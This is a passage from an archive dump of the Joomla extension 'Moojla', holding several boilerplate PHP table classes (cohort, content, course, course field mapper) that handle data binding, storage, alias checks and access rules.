 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Cohorts Table class
 */
class MoojlaTableCohort extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_cohort', 'id', $db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.cohort'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Cohort table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New cohort. A cohort created and created_by field can be set by the
user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('cohort',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_COHORT_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('cohort',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.cohort.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.cohort.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/content.php000064400000020470151165724400010211 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		content.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Contents Table class
 */
class MoojlaTableContent extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_content', 'id', $db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.content'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Content table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New content. A content created and created_by field can be set by the
user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('content',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_CONTENT_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('content',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.content.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.content.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/course.php000064400000021231151165724410010034 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Courses Table class
 */
class MoojlaTableCourse extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_course', 'id', $db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.course'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Course table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New course. A course created and created_by field can be set by the
user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('course',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias,
'catid' => $this->catid)) && ($table->id !=
$this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_COURSE_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('course',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.course.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.course.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * Generate a valid alias from title / date.
	 * Remains public to be able to check for duplicated alias before saving
	 *
	 * @return  string
	 */
	public function generateAlias()
	{
		if (empty($this->alias))
		{
			$this->alias = $this->shortname;
		}

		$this->alias = JApplication::stringURLSafe($this->alias);

		if (trim(str_replace('-', '', $this->alias)) ==
'')
		{
			$this->alias =
JFactory::getDate()->format('Y-m-d-H-i-s');
		}

		return $this->alias;
	}

}
tables/course_field_mapper.php000064400000020724151165724410012551
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_field_mapper.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Course_fields_mapper Table class
 */
class MoojlaTableCourse_field_mapper extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_course_field_mapper',
'id', $db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' =>
'com_moojla.course_field_mapper'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Course_field_mapper table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New course_field_mapper. A course_field_mapper created and created_by
field can be set by the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('course_field_mapper',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('course_field_mapper',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.course_field_mapper.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.course_field_mapper.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/course_group_map.php000064400000020655151165724410012116
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_group_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
